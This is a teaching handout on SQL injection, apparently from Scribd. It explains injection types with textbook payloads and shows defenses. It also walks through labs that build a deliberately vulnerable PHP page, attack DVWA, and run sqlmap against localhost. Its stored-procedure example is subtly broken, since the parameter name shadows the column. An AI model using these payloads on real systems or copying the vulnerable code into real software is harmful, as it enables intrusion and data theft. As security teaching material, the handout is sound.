Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
60 views

SQL Injection

Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
60 views

SQL Injection

Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 10

SQL injection

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with
the queries an application makes to its database. It can allow attackers to view data that they
are not normally able to retrieve, such as other users' data, or inject commands to alter the
database structure and content. Here’s a detailed breakdown of how SQL Injection works, its
different types, examples, and defenses.

SQL Injection (SQLi) is a security flaw that lets attackers insert malicious SQL code into an
application’s database query, potentially accessing or modifying data unauthorizedly.

How SQL Injection Works


1. Vulnerability Setup:
o SQL Injection happens when user input is directly included in SQL queries
without proper validation or escaping.
o An attacker can inject malicious SQL code through forms, URL parameters,
cookies, or HTTP headers, which is then executed by the database.
2. Basic Example:
o Suppose a website uses the following SQL query to check for user credentials:
SELECT * FROM users WHERE username = '$username' AND password =
'$password';
o If $username or $password contains malicious input, the query can be
manipulated to retrieve or alter unintended data.
3. Basic Injection:
o Input: username = ' OR '1'='1 and password = ' OR '1'='1
o Resulting Query:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
OR '1'='1';
o Since '1'='1' is always true, this query will return all rows in the users table.

Types of SQL Injection


1. In-Band SQL Injection (Classic SQLi):
o Error-Based SQL Injection:
 This type relies on error messages from the database to extract
information.
 Example:
' OR 1=1--
 If the database throws an error with details, it can reveal table or
column names.
o Union-Based SQL Injection:
 The UNION operator allows combining results of two SQL queries.
 Example:
sql

' UNION SELECT username, password FROM admin--


 This query retrieves rows from both the users and admin tables,
allowing data leakage.
2. Inferential (Blind) SQL Injection:
o This type doesn’t provide direct feedback. Instead, attackers infer data based
on application behavior or response time.
o Boolean-Based Blind SQL Injection:
 Attacker sends payloads that result in true/false responses to deduce
information.
 Example:
sql

' AND 1=1-- (true)


' AND 1=2-- (false)
 If the first query returns results, but the second does not, the attacker
confirms the vulnerability.
o Time-Based Blind SQL Injection:
 Attacker uses database functions that induce delays to infer data.
 Example:
sql

' AND IF(1=1, SLEEP(5), 0)-- (database delays if true)


 If the response is delayed, the condition is true, revealing information
without visible feedback.
3. Out-of-Band SQL Injection:
o In this type, attackers exploit database features that send data externally.
o Example:
 Using xp_cmdshell on SQL Server or LOAD_FILE() on MySQL,
which can send data to an external server.
 This method is less common due to required database permissions.

SQL Injection Examples


1. Error-Based Injection:
o Input: username = ' OR 1=1--
o Effect: The query fetches all user data because of the unconditional 1=1
condition.
2. Union-Based Injection:
o Input: username = ' UNION SELECT username, password FROM admin--
o Effect: Leaks sensitive data from another table (e.g., admin credentials).
3. Boolean-Based Blind Injection:
o Input: username = ' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0
END)--
o Effect: By observing the application response, the attacker can infer data
based on the true/false conditions.
4. Time-Based Blind Injection:
o Input: username = ' OR IF(1=1, SLEEP(5), 0)--
o Effect: Delayed responses help an attacker deduce whether certain conditions
are met.

Impact of SQL Injection


1. Data Breach:
o Attackers can access and download sensitive user data such as emails,
passwords, or personal information.
2. Data Manipulation:
o SQL Injection can be used to modify or delete data within the database.
3. System Control:
o In severe cases, attackers can execute administrative commands on the server,
leading to full system compromise.
4. Denial of Service (DoS):
o Attackers can craft malicious queries that consume database resources,
causing slowdowns or crashes.

Preventing SQL Injection


1. Parameterized Queries (Prepared Statements):
o Use prepared statements to separate data from SQL commands, making it
harder to manipulate queries.
o Example in PHP:
php

$stmt = $pdo->prepare("SELECT * FROM users WHERE username


= :username");
$stmt->execute(['username' => $username]);
2. Stored Procedures:
o Encapsulate SQL code in stored procedures within the database, preventing
direct SQL query modifications.
o Example:
sql

CREATE PROCEDURE getUserData(IN username VARCHAR(255))


BEGIN
SELECT * FROM users WHERE username = username;
END
3. Input Validation:
o Validate inputs to reject unexpected data types, formats, or lengths.
o Example:
 For usernames, allow only alphanumeric characters.
4. Escaping Special Characters:
o Use functions specific to the language (e.g., mysqli_real_escape_string in
PHP) to sanitize inputs.
5. Least Privilege Principle:
o Grant minimal permissions to database accounts to limit potential damage.
6. Web Application Firewalls (WAF):
o Deploy a WAF to detect and block SQL Injection payloads.
7. Regular Code Reviews and Security Testing:
o Conduct frequent audits, including penetration testing, to identify and fix
vulnerabilities.
8. Error Handling:
o Avoid displaying detailed database errors to users. Instead, log them securely
and show generic messages.

Example Code Vulnerable to SQL Injection and Fix


 Vulnerable Code:
php
$query = "SELECT * FROM users WHERE username = '" . $_GET['username'] . "'";
$result = $conn->query($query);
 Secure Version Using Prepared Statements:
php

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");


$stmt->bind_param("s", $_GET['username']);
$stmt->execute();
In this secure version, the username input is treated as data, not code, effectively neutralizing
SQL injection attempts.

Practice and Hands-On Labs


 Set up an SQLi lab to simulate different types of injections, such as error-based,
union-based, boolean-based, and time-based.
 Use tools like SQLMap and Burp Suite to automate and detect SQLi vulnerabilities.
 Challenge students to test mitigations using parameterized queries and stored
procedures to see how these prevent SQL injection attacks.

SQL Injection is one of the oldest yet still highly relevant vulnerabilities in web applications.
With careful validation, use of prepared statements, and regular security testing, SQLi risks
can be minimized effectively.

LAB SQL injection attack

Lab 1: SQL Injection Vulnerability Simulation


Objective:
To understand SQL injection vulnerabilities and explore how malicious actors can exploit
them. Students will learn to identify and mitigate SQL injection risks in web applications.
Overview:
In this lab, students will:
1. Set up a web application with a SQL injection vulnerability.
2. Use SQLMap and manual techniques to exploit the vulnerability.
3. Learn security practices for protecting databases against SQL injection attacks.
Pre-requisites:
 Basic understanding of SQL queries.
 Familiarity with PHP and MySQL.
 Access to Kali Linux.
Tools Required:
 Kali Linux (for SQLMap and general testing)
 Apache, MySQL, PHP (LAMP stack)

Lab Steps:
1. Install and Configure LAMP Stack
o Install Apache, MySQL, and PHP.
o Configure a basic web server and database.
2. Set Up the Vulnerable Web Application
o Create a MySQL database with a simple users table.
o Write a PHP application vulnerable to SQL injection.
3. Test the SQL Injection Vulnerability
o Access the web application and attempt to retrieve unauthorized data using
SQL injection payloads.
4. Use SQLMap for Automated Exploitation
o Leverage SQLMap to exploit the vulnerability and retrieve database
information.
5. Mitigation and Code Fixes
o Discuss secure coding practices, including prepared statements and input
validation.

Install LAMP Stack on Kali Linux


1. Update Packages:
sudo apt update && sudo apt upgrade -y
2. Install Apache:

sudo apt install apache2 -y


3. Install MySQL:
sudo apt install mysql-server -y
4. Install PHP and Modules:
sudo apt install php libapache2-mod-php php-mysql -y
5. Start Apache and MySQL Services:
sudo systemctl start apache2
sudo systemctl start mysql
6. Enable Apache and MySQL on Boot:
sudo systemctl enable apache2
sudo systemctl enable mysql
2. Configure the MySQL Database
1. Secure MySQL Installation: Run the following to set up a root password and basic
security options:
sudo mysql_secure_installation
Follow the prompts to configure MySQL security settings.
2. Create Database and User Table: Open MySQL:
sudo mysql -u root -p
Run the following SQL commands to create the database and table:

CREATE DATABASE student_db;


USE student_db;

CREATE TABLE users (


id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(50),
password VARCHAR(50),
PRIMARY KEY (id)
);

INSERT INTO users (username, password) VALUES


('Alice', 'password123'),
('Bob', 'bobpassword'),
('Charlie', 'charliepassword');

Exit MySQL by typing exit;.

3. Create Vulnerable PHP Web Code


1. Set Up Web Root Directory: Create a new directory for your web application in
/var/www/html:
sudo mkdir /var/www/html/student_lab
2. Create PHP File: Open a new file in your text editor:
sudo nano /var/www/html/student_lab/index.php
3. Add the Following Code:

<?php
// Database connection
$servername = "localhost";
$username = "root";
$password = ""; // Enter your MySQL root password if you set one
$dbname = "student_db";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

if (isset($_POST['submit'])) {
$user_id = $_POST['user_id'];
// Vulnerable SQL Query
$sql = "SELECT * FROM users WHERE id = $user_id";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
echo "User: " . $row['username'] . "<br>";
echo "Password: " . $row['password'] . "<br>";
}
} else {
echo "No user found.";
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>SQL Injection Lab</title>
</head>
<body>
<h2>SQL Injection Simulation</h2>
<form method="POST">
<label for="user_id">Enter User ID:</label>
<input type="text" name="user_id" required>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>

4. Set File Permissions: Ensure Apache can read the file:


sudo chmod -R 755 /var/www/html/student_lab
5. Restart Apache:
sudo systemctl restart apache2

4. Access and Test the Vulnerable Application


1. Access the Web Application:
o Open a browser and go to http://localhost/student_lab/index.php.
2. Test SQL Injection:
o In the User ID field, enter a valid ID like 1 to see a normal response.
o For SQL injection, try entering 1 OR 1=1 and observe that all users' data is
returned, demonstrating the vulnerability.

5. Simulate SQL Injection with SQLMap


1. Install SQLMap (if not already installed):
sudo apt install sqlmap -y
2. Run SQLMap: Open a terminal and execute the following command:
sqlmap -u "http://localhost/student_lab/index.php" --
data="user_id=1&submit=Submit" --dbs
This command tells SQLMap to test the vulnerable parameter and retrieve database
information.

Lab 2

Step 1: Setting Up the Environment


1. Download DVWA:
o Download the DVWA zip file from GitHub.
o Extract the files and move the folder to C:\xampp\htdocs\ on Windows or
/var/www/html/ on Linux.
2. Configure DVWA:
o Go to http://localhost/dvwa/setup.php in your browser.
o Follow the setup instructions and make sure the database is set up correctly.
The default database settings are:
 Database: dvwa
 Username: dvwa_user
 Password: password
3. Set DVWA Security Level:
o Once set up, log in to DVWA (default credentials are admin:password).
o Go to the "DVWA Security" tab, and set the security level to "Low" to allow
SQL injection.

Step 2: Performing SQL Injection


In DVWA, navigate to the SQL Injection section. You’ll see a simple input form where you
can enter a user ID to retrieve user details.
Injection Examples:
1. Basic SQL Injection:
o Enter 1 OR 1=1 in the input field.
o This should return all user details because OR 1=1 makes the query always
true.
2. Union-Based SQL Injection:
o Enter ' UNION SELECT null, username, password FROM users --.
o This injects a UNION query that combines the results with another table.
3. Error-Based SQL Injection:
o Enter ' AND 1=CAST(10000 AS INT).
o This may trigger an error message, revealing information about the database.

Step 3: Using SQLMap


1. Install SQLMap:
o Download and install SQLMap from sqlmap.org.
2. Run SQLMap:
o Open a terminal or command prompt, and execute the following command to
test the DVWA SQL injection point:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=<your_session_id>" --dbs
o This command tells SQLMap to test for SQL injection on the provided URL,
using your DVWA session ID for authentication.
3. Extract Database Information:
o SQLMap will attempt to retrieve information about the database, such as
tables and data.

Lab 3:

Lab 2: SQL Injection for Authentication Bypass


Objective: Demonstrate how SQL injection can be used to bypass login authentication.
Steps:
1. Enter Login Credentials
o In the Username field, input: admin'--
o In the Password field, enter any password (it will not be evaluated).
o Click the Login button.
2. Review the SQL Injection in Action
o A typical SQL query for login validation might look like this:
SELECT Username FROM Users WHERE Username = 'userinput' AND
Password = 'userinput'
o When you enter admin'-- as the username, the query is altered to:
SELECT Username FROM Users WHERE Username = 'admin' -- AND
Password = 'does not matter'
Here, -- comments out the rest of the query, effectively bypassing the
password check.
3. Explanation
o This change makes the query always true if the username is admin, allowing
login without a password.
4. Alternative Bypass Technique
o If the username is unknown, you could input: ' OR '1'='1'-- in the Username
field.
o This causes the query to look like:
SELECT Username FROM Users WHERE Username = '' OR '1'='1'-- AND
Password = 'does not matter'
o Here, OR '1'='1' ensures the condition is always true, allowing login as the first
user in the database table.
xss

You might also like